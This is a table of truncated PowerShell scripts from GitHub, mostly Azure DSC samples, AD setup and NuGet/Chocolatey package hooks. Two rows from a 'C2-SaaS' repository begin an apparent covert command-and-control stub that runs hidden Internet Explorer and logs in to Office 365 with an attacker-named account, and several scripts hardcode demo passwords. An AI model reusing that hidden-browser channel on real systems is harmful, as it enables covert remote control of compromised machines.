full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xNetworking/Examples/Sample_xDnsServerAddress.ps1 | Sample_xDnsServerAddress.ps1 | configuration Sample_xDnsServerAddress
{
param
(
[string[]]$NodeName = 'localhost',
[Parameter(Mandatory)]
[string]$DnsServerAddress,
[Parameter(Mandatory)]
[string]$InterfaceAlias,
[ValidateSet("IPv4","IPv6")]
[string]$AddressFamily = 'IPv... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xNetworking/Examples/Sample_xFirewall_DisableAccessToApplication.ps1 | Sample_xFirewall_DisableAccessToApplication.ps1 | # DSC configuration for Firewall
#
configuration Sample_xFirewall_AddFirewallRuleToNewGroup
{
param
(
[string[]]$NodeName = 'localhost'
)
Import-DSCResource -ModuleName xNetworking
Node $NodeName
{
xFirewall Firewall
{
Name ... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xNetworking/Examples/Sample_xFirewall_AddFirewallRule.ps1 | Sample_xFirewall_AddFirewallRule.ps1 | # DSC configuration for Firewall
configuration Sample_xFirewall_AddFirewallRule
{
param
(
[string[]]$NodeName = 'localhost'
)
Import-DSCResource -ModuleName xNetworking
Node $NodeName
{
xFirewall Firewall
{
Name = "NotePadFi... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xNetworking/Examples/Sample_xIPAddress_Parameterized.ps1 | Sample_xIPAddress_Parameterized.ps1 | configuration Sample_xIPAddress_Parameterized
{
param
(
[string[]]$NodeName = 'localhost',
[Parameter(Mandatory)]
[string]$IPAddress,
[Parameter(Mandatory)]
[string]$InterfaceAlias,
[Parameter(Mandatory)]
[string]$DefaultGateway,
... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xNetworking/Examples/Sample_xFirewall_AddFirewallRuleToExistingGroup.ps1 | Sample_xFirewall_AddFirewallRuleToExistingGroup.ps1 | # DSC configuration for Firewall
#
configuration Sample_xFirewall_AddFirewallRuleToExistingGroup
{
param
(
[string[]]$NodeName = 'localhost'
)
Import-DSCResource -ModuleName xNetworking
Node $NodeName
{
xFirewall Firewall
{
Name ... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xNetworking/Examples/Sample_xFirewall_AddFirewallRuleToNewGroup.ps1 | Sample_xFirewall_AddFirewallRuleToNewGroup.ps1 | # DSC configuration for Firewall
configuration Sample_xFirewall_AddFirewallRuleToNewGroup
{
param
(
[string[]]$NodeName = 'localhost'
)
Import-DSCResource -ModuleName xNetworking
Node $NodeName
{
xFirewall Firewall
{
Name = ... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/CSE/AD-Create.ps1 | AD-Create.ps1 | param ( $domain, $password )
# for this demo, we will use the classic Contoso for domain and
# ... demoUser and P@ssw0rd1234 for username and password
$smPassword = (ConvertTo-SecureString $password -AsPlainText -Force)
Install-WindowsFeature -Name "AD-Domain-Services" -IncludeAll... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/CSE/AD-Join.ps1 | AD-Join.ps1 | param ( $domain, $username, $password )
# for this demo, we will use the classic Contoso for domain and
# ... demoUser and P@ssw0rd1234 for username and password
$smPassword = (ConvertTo-SecureString $password -AsPlainText -Force)
$username = "$domain\$username"
$credential = New-... |
PowerShellCorpus/Github/smithr17_AzureCLI/5-HybirdNetwork/Scripts/Deploy-AzureResourceGroup.ps1 | Deploy-AzureResourceGroup.ps1 | #Requires -Version 3.0
#Requires -Module AzureRM.Resources
#Requires -Module Azure.Storage
Param(
[string] [Parameter(Mandatory=$true)] $ResourceGroupLocation,
[string] [Parameter(Mandatory=$true)] $ResourceGroupName,
[switch] $UploadArtifacts = $true,
[string] $StorageAccountName,
[stri... |
PowerShellCorpus/Github/smithr17_AzureCLI/2-MultiVM/Scripts/Deploy-AzureResourceGroup.ps1 | Deploy-AzureResourceGroup.ps1 | #Requires -Version 3.0
#Requires -Module AzureRM.Resources
#Requires -Module Azure.Storage
Param(
[string] [Parameter(Mandatory=$true)] $ResourceGroupLocation,
[string] [Parameter(Mandatory=$true)] $ResourceGroupName,
[switch] $UploadArtifacts = $true,
[string] $StorageAccountName,
[stri... |
PowerShellCorpus/Github/smithr17_AzureCLI/4-VirtualDatacenter/Scripts/Deploy-AzureResourceGroup.ps1 | Deploy-AzureResourceGroup.ps1 | #Requires -Version 3.0
#Requires -Module AzureRM.Resources
#Requires -Module Azure.Storage
Param(
[string] [Parameter(Mandatory=$true)] $ResourceGroupLocation,
[string] [Parameter(Mandatory=$true)] $ResourceGroupName,
[switch] $UploadArtifacts = $true,
[string] $StorageAccountName,
[stri... |
PowerShellCorpus/Github/smithr17_AzureCLI/1-SingleVM/Scripts/Deploy-AzureResourceGroup.ps1 | Deploy-AzureResourceGroup.ps1 | #Requires -Version 3.0
#Requires -Module AzureRM.Resources
#Requires -Module Azure.Storage
Param(
[string] [Parameter(Mandatory=$true)] $ResourceGroupLocation,
[string] [Parameter(Mandatory=$true)] $ResourceGroupName,
[switch] $UploadArtifacts = $true,
[string] $StorageAccountName,
[stri... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/MicroMethod/_CreateNewNuGetPackage/Config.ps1 | Config.ps1 | #==========================================================
# Edit the variable values below to configure how your .nupkg file is packed (i.e. created) and pushed (i.e. uploaded) to the NuGet gallery.
#
# If you have modified this script:
# - if you uninstall the "Create New NuGet Package From Project After Each Bu... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/MicroMethod/_CreateNewNuGetPackage/DoNotModify/UploadNuGetPackage.ps1 | UploadNuGetPackage.ps1 | #==========================================================
# DO NOT EDIT THIS FILE.
# If you want to configure how your package is uploaded, modify the Config.ps1 file.
# To run this script from inside Visual Studio, right-click on the "RunMeToUploadNuGetPackage.cmd" file and choose "Run".
#=======================... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/MicroMethod/_CreateNewNuGetPackage/DoNotModify/New-NuGetPackage.ps1 | New-NuGetPackage.ps1 | #Requires -Version 2.0
<#
.SYNOPSIS
Creates a NuGet Package (.nupkg) file from the given Project or NuSpec file, and optionally uploads it to a NuGet Gallery.
.DESCRIPTION
Creates a NuGet Package (.nupkg) file from the given Project or NuSpec file.
Additional parameters may be provided to also upload the ... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/MicroMethod/_CreateNewNuGetPackage/DoNotModify/CreateNuGetPackage.ps1 | CreateNuGetPackage.ps1 | #==========================================================
# DO NOT EDIT THIS FILE.
# If you want to configure how your package is created, modify the Config.ps1 file.
#
# This script is ran automatically after every successful build.
# This script creates a NuGet package for the current project, and places the .... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/packages/CreateNewNuGetPackageFromProjectAfterEachBuild.1.8.9/content/_CreateNewNuGetPackage/Config.ps1 | Config.ps1 | #==========================================================
# Edit the variable values below to configure how your .nupkg file is packed (i.e. created) and pushed (i.e. uploaded) to the NuGet gallery.
#
# If you have modified this script:
# - if you uninstall the "Create New NuGet Package From Project After Each Bu... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/packages/CreateNewNuGetPackageFromProjectAfterEachBuild.1.8.9/content/_CreateNewNuGetPackage/DoNotModify/UploadNuGetPackage.ps1 | UploadNuGetPackage.ps1 | #==========================================================
# DO NOT EDIT THIS FILE.
# If you want to configure how your package is uploaded, modify the Config.ps1 file.
# To run this script from inside Visual Studio, right-click on the "RunMeToUploadNuGetPackage.cmd" file and choose "Run".
#=======================... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/packages/CreateNewNuGetPackageFromProjectAfterEachBuild.1.8.9/content/_CreateNewNuGetPackage/DoNotModify/New-NuGetPackage.ps1 | New-NuGetPackage.ps1 | #Requires -Version 2.0
<#
.SYNOPSIS
Creates a NuGet Package (.nupkg) file from the given Project or NuSpec file, and optionally uploads it to a NuGet Gallery.
.DESCRIPTION
Creates a NuGet Package (.nupkg) file from the given Project or NuSpec file.
Additional parameters may be provided to also upload the ... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/packages/CreateNewNuGetPackageFromProjectAfterEachBuild.1.8.9/content/_CreateNewNuGetPackage/DoNotModify/CreateNuGetPackage.ps1 | CreateNuGetPackage.ps1 | #==========================================================
# DO NOT EDIT THIS FILE.
# If you want to configure how your package is created, modify the Config.ps1 file.
#
# This script is ran automatically after every successful build.
# This script creates a NuGet package for the current project, and places the .... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/packages/CreateNewNuGetPackageFromProjectAfterEachBuild.1.8.9/tools/Install.ps1 | Install.ps1 | param($installPath, $toolsPath, $package, $project)
# Get the current Post-Build Event text.
$postBuildEventText = $project.Properties.Item("PostBuildEvent").Value
###### Start of code to remove older versions of post build event text.
$oldPostBuildEventCode = @'
REM Create a NuGet package for this project and... |
PowerShellCorpus/Github/anjumrizwi_utilities/MicroMethod/packages/CreateNewNuGetPackageFromProjectAfterEachBuild.1.8.9/tools/Uninstall.ps1 | Uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
# Get the current Post-Build Event text.
$postBuildEventText = $project.Properties.Item("PostBuildEvent").Value
###### Start of code to remove older versions of post build event text.
$oldPostBuildEventCode = @'
REM Create a NuGet package for this project and... |
PowerShellCorpus/Github/craigdods_C2-SaaS/Compressed-Single-Stage.ps1 | Compressed-Single-Stage.ps1 | $Username = "badguy@EVILER.onmicrosoft.com";$Password = "Password1";$URL = "portal.office.com";Get-Process iexplore -EA SilentlyContinue | Stop-Process;$ie = New-Object -com InternetExplorer.Application;$ie.visible = $False;$ie.navigate($URL);while($ie.ReadyState -ne 4) {start-sleep -m 100};$ie.document.getElementById(... |
PowerShellCorpus/Github/craigdods_C2-SaaS/Single-Stage.ps1 | Single-Stage.ps1 | $Username = "badguy@EVILER.onmicrosoft.com";
$Password = "Password1";
$URL = "portal.office.com";
Get-Process iexplore -EA SilentlyContinue | Stop-Process;
$ie = New-Object -com InternetExplorer.Application;
$ie.visible = $False;
$ie.navigate($URL);
while($ie.ReadyState -ne 4) {start-sleep -m 100};
$ie.document... |
PowerShellCorpus/Github/solthoth_octo-chainsaw/choco/setup-env.ps1 | setup-env.ps1 | param(
[string]$Apps = "ALL",
[bool]$choco = $True
)
function Install-SystemApps
{
choco install curl -y
choco install 7zip.install -y
}
function Install-DevApps
{
choco install git.install -y
choco install nodejs.install -y
choco install notepadplusplus.install -y
choco in... |
PowerShellCorpus/Github/solthoth_octo-chainsaw/choco/install.ps1 | install.ps1 | # =====================================================================
# Copyright 2011 - Present RealDimensions Software, LLC, and the
# original authors/contributors from ChocolateyGallery
# at https://github.com/chocolatey/chocolatey.org
#
# Licensed under the Apache License, Version 2.0 (the "License");
# yo... |
PowerShellCorpus/Github/nickmeldrum_node-azure/build/create-site.ps1 | create-site.ps1 | # assumes pscloud module is loaded (see https://github.com/nickmeldrum/ps-cloud/ )sitename
$sitename = "node-azure"
Setup-SiteWithGithubDeployment -releaseMode test -githubrepo "node-azure" -sitename $sitename
Add-Content .\README.md "`r`n"
git add .
git commit -m "deployment trigger commit"
git push
|
PowerShellCorpus/Github/Microsoft_ExPerfAnalyzer/ExPerfAnalyzer.ps1 | ExPerfAnalyzer.ps1 | <#
Name:
ExPerfAnalyzer.ps1
Description:
Parses perfmon .blg files from an Exchange server captured with ExPerfWiz.ps1
and produces a high-level summary in a text file.
Author:
Matthew Huynh (mahuynh@microsoft.com)
Use:
.\ExPerfAnalyzer.ps1 EXSERVER01_FULL_000001.BLG
Changelog:
See https:... |
PowerShellCorpus/Github/estenrye_nginx-windowsservercore/tools/UpdateRepositories.ps1 | UpdateRepositories.ps1 | param(
[Parameter(Mandatory=$true)]
[string]$version,
[ValidateSet("none", "stable", "mainline")]
[string]$alternateTag = "none",
[switch]$isLatest = $false
)
$versionsToPush = @()
docker build -t "estenrye/nginx-windowsservercore:$version" ..
$versionsToPush += "estenrye/nginx-windowss... |
PowerShellCorpus/Github/estenrye_nginx-windowsservercore/conf/Generate-ReverseProxyConf.ps1 | Generate-ReverseProxyConf.ps1 | param(
[switch]$WriteConf = [bool]::Parse($env:WriteReverseProxyConfFromEnv),
[int]$ListenPort = [int]::Parse($env:ReverseProxyListenPort),
[string]$ServerName = $env:ReverseProxyServerName,
[string[]]$LocationList = (iex "$env:ReverseProxyLocationList")
)
Write-Host "Generate-ReverseProxyConf.p... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/[Source]chocolateyinstall.ps1 | [Source]chocolateyinstall.ps1 |
# IMPORTANT: Before releasing this package, copy/paste the next 2 lines into PowerShell to remove all comments from this file:
# $f='c:\path\to\thisFile.ps1'
# gc $f | ? {$_ -notmatch "^\s*#"} | % {$_ -replace '(^.*?)\s*?[^``]#.*','$1'} | Out-File $f+".~" -en utf8; mv -fo $f+".~" $f
$ErrorActio... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Office2013/ChocolateyInstall(from web).ps1 | ChocolateyInstall(from web).ps1 | try {
$sysDrive = $env:SystemDrive
$officePath = "$sysDrive\Users\azure\AppData\Local\Temp\office"
$packageName = 'office'
$Path = $officePath+'\setup'
$configArg = '/config ' + $officePath+'\proplus.WW\config.xml'
if(test-path $officePath) {
write-host "Cleaning out the contents of $officePat... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Office2013/ChocolateyInstall.ps1 | ChocolateyInstall.ps1 | try {
$iso = Get-Item 'C:\Users\azure1\Downloads\officeISO.iso'
Mount-DiskImage -ImagePath $iso
$driveLetter = (Get-DiskImage $iso | Get-Volume).DriveLetter
Install-ChocolateyInstallPackage "Office2013" "EXE" "/config \ProPlus.WW\config.xml" "${driveLetter}:\setup.exe" -validExitCodes 0, 3010
... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/FinanceExplorer/chocolateyinstall.ps1 | chocolateyinstall.ps1 | try {
$sysDrive = $env:SystemDrive
$financeExplorerPath = "$sysDrive\tools\financeexplorer"
if(test-path $financeExplorerPath) {
write-host "Cleaning out the contents of $financeExplorerPath"
Remove-Item "$($financeExplorerPath)\*" -recurse -force
}
Install-ChocolateyZipPackage 'finance... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Appserver/AdjustRegKey.ps1 | AdjustRegKey.ps1 | $values=@(
"TLS_RSA_WITH_AES_128_CBC_SHA256",
"TLS_RSA_WITH_AES_128_CBC_SHA",
"TLS_RSA_WITH_AES_256_CBC_SHA256",
"TLS_RSA_WITH_AES_256_CBC_SHA",
"TLS_RSA_WITH_RC4_128_SHA",
"TLS_RSA_WITH_3DES_EDE_CBC_SHA",
"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256"... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Appserver/SetUpdates.ps1 | SetUpdates.ps1 | $WUSettings = (New-Object -com "Microsoft.Update.AutoUpdate").Settings
$WUSettings.NotificationLevel=2
#NotificationLevel :
#0 = Not configured;
#1 = Disabled;
#2 = Notify before download;
#3 = Notify before installation;
#4 = Scheduled installation;
$WUSettings.save() |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Appserver/SetupAppServer.ps1 | SetupAppServer.ps1 | # Script for automated install and configuration appserver
$ErrorActionPreference = 'Silent'
function setupRegKey{
$values=@(
"TLS_RSA_WITH_AES_128_CBC_SHA256",
"TLS_RSA_WITH_AES_128_CBC_SHA",
"TLS_RSA_WITH_AES_256_CBC_SHA256",
"TLS_RSA_WITH_AES_256_CBC_S... |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Appserver/Domain.ps1 | Domain.ps1 | Add-Computer -DomainName awingu.test -Restart |
PowerShellCorpus/Github/stefanAwingu_Stage/Scripts/Appserver/RD.ps1 | RD.ps1 | #Get FQDN of verander dit en geef FQDN van remote server in
<#(Get-WmiObject win32_computersystem).DNSHostName+"."+(Get-WmiObject win32_computersystem).Domain#>
$collectionNaam = "RemoteApssCollection"
Function Deploy($servernaam){
try{
#Maakt nieuwe Remote Desktop Session role aan met ConnectionBr... |
PowerShellCorpus/Github/TheLunaticScripter_SystemsEngineeringPSModule/SharePoint 2013 Deployment/Red_Wolfe_Add_db_replica.ps1 | Red_Wolfe_Add_db_replica.ps1 | Function Add-DBDAG{
param(
[Parameter(Mandatory=$true)]
[string[]]$ServerName,
[Parameter(Mandatory=$true)]
[string]$DAGName,
[Parameter(Mandatory=$true)]
[string]$DBSearchNameStandard,
[Parameter(Mandatory=$true)]
[string]$BackupShare,
... |
PowerShellCorpus/Github/TheLunaticScripter_SystemsEngineeringPSModule/SharePoint 2013 Deployment/Red_Wolfe_SPInstallWorkflow.ps1 | Red_Wolfe_SPInstallWorkflow.ps1 | workflow Install-SharePoint{
param(
[Parameter(Mandatory=$true)]
[string[]]$Computers,
[Parameter(Mandatory=$true)]
[string]$SPSource,
[Parameter(Mandatory=$true)]
[string]$NetFx3Source,
[Parameter(Mandatory=$true)]
[System.Management.Automa... |
PowerShellCorpus/Github/TheLunaticScripter_SystemsEngineeringPSModule/SharePoint 2013 Deployment/Red_Wolfe_ServerBuild.ps1 | Red_Wolfe_ServerBuild.ps1 | # Prod SQL, SENTRIS, SharePoint 2013 Deployment Script
# Author: John Snow aka. The Lunatic Scripter aka. Lord Commander of the Knights Watch the North with remember
$allServers = @()
$sqlsouthservers = @()
$SPservers = @()
$sqlsouthservers += [PSCustomObject]@{Name="N93-SQL2012-N1";NumCpu=8;Memory=8;Produ... |
PowerShellCorpus/Github/TheLunaticScripter_SystemsEngineeringPSModule/SharePoint 2013 Deployment/Red_Wolfe_SQLInstall.ps1 | Red_Wolfe_SQLInstall.ps1 | # Install SQL Script each server
# Run this script locally to install sql and failover cluster on SQL servers
$SysMod = '\\test\admins\share\System Engineering Module\Testing\SystemEngineering.psm1'
Import-Module $SysMod
Install-StandardSQL -SQLSourceDir '\\sccm\Software$\Sources\SQL2012SP3' `
... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/jQuery.1.10.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSense... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/EntityFramework.6.1.3/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/EntityFramework.6.1.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$packageDirectory = Split-Path $installPath
$compilerPackage = Get-Chil... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/AaronOnGit_SimpleCRUD/AucklandSchool/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/jQuery.1.10.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSense... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/EntityFramework.6.1.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIarwYJKoZIhvcNAQcCoIIaoDCCGpwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/tmuvva_MVCCodes/MVCAngular/packages/EntityFramework.6.1.0/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/jQuery.1.10.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSense... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/jQuery.1.10.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/jQuery.1.10.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Microsoft.ApplicationInsights.WindowsServer.2.2.0/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
if ([System.IO.File]::Exists($project.FullName))
{
function MarkItemASCopyToOutput($item)
{
Try
{
#mark it to copy if newer
$item.Properties.Item("CopyToOutputDirectory").Value = 2
}
Catch
{
write-host $_.Exception.ToString()
}... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/EntityFramework.6.1.3/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/EntityFramework.6.1.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
